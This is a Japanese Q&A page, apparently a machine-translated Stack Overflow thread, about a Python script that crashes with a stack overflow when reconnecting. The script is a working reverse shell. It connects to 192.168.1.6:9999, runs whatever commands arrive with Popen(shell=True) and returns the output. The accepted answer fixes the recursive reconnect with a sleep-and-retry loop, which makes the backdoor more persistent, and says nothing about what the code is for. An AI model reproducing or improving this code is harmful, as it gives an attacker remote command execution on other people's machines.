2016-12-07 11 views
1

これはPythonを習得しながら作成した小さなスクリプトですが、何らかの理由でスタックオーバーフローから回復できないことを教えてくれます。これは、別のサーバーが切断されたときに発生します。スタックオーバーフローから復旧できない

スクリプト:

#/user/bin/python 
import os 
import socket 
import subprocess 
import errno 
import threading 
s = socket.socket() 
host = '192.168.1.6' 
port = 9999 

def connect(): 
    try: 
     s.connect((host,port)) 
    except Exception as msg: 
     print("ERROR HAPPEND 2 ") 
     connect() 
    else: 
     Work() 

def Work(): 
    while True: 
     data = s.recv(1024) 
     print("Data : " + data.decode('utf-8')) 
     if data[:2].decode("utf-8") == 'cd': 
      os.chdir(data[3:].decode('utf-8')) 
     if len(data) >0: 
      cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, 
            stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE, 
            stdin=subprocess.PIPE) 
      output_bytes = cmd.stdout.read() + cmd.stderr.read() 
      output_str = str(output_bytes , "utf-8") 
      s.send(str.encode(output_str + str(os.getcwd()) + '> ')) 
     else: 
      s.shutdown(socket.SHUT_RDWR) 
      s.close() 
      thread1 = threading.Thread(target = connect) 
      thread1.start() 
      break 

connect() 
+0

完全なエラーを貼り付けることはできますか? – user312016

+0

スタックトレースを投稿してください –

+0

どのようなスタックオーバーフローですか?ソケットから受け取ったデータをPopenに直接パイプしていますか? –

答えて

1

このコードが間違っている:接続が何らかの理由で失敗した場合は、フィルタリングしていないので、

def connect(): 
    try: 
     s.connect((host,port)) 
    except Exception as msg: 
     print("ERROR HAPPEND 2 ") 
     connect() 
    else: 
     Work() 

(拒否した、またはtry/exceptブロック内であっても、構文エラー例外タイプ)の場合は、エラーメッセージを印刷して、を再帰的に関数に呼び出して再試行してください。

何も変更せずにすぐに同じ操作を再試行しているため(たとえば他のプログラムを開始しています)、ソケットエラーが発生する可能性が非常に高いため、非常に迅速にスタックオーバーフローが発生します。

修正、最初のステップ:あなたの接続のクラッシュは、適切なエラーメッセージを表示してみましょう

def connect(): 
    s.connect((host,port)) 
    Work() 

修正、第二段階:あなたは、接続を後で確立することができると思われる場合、あなたはしばらく待って、例外をキャッチすることができますこのように、たとえば、再試行:

def connect(): 
    while True: 
     try: 
      s.connect((host,port)) 
      break # connection OK, proceeed to Work 
     except ConnectionRefusedError as e: 
      print("{}, retry in 10s ...".format(str(e))) 
      time.sleep(10) 
    Work() 

をお使いの場合は、ソケットが閉じられた直後に、あなたが経験している問題を説明し、再帰的に、connectを呼び出し、これを行うに失敗し、別のスレッドを作成します他のsidを切断するときe。

関連する問題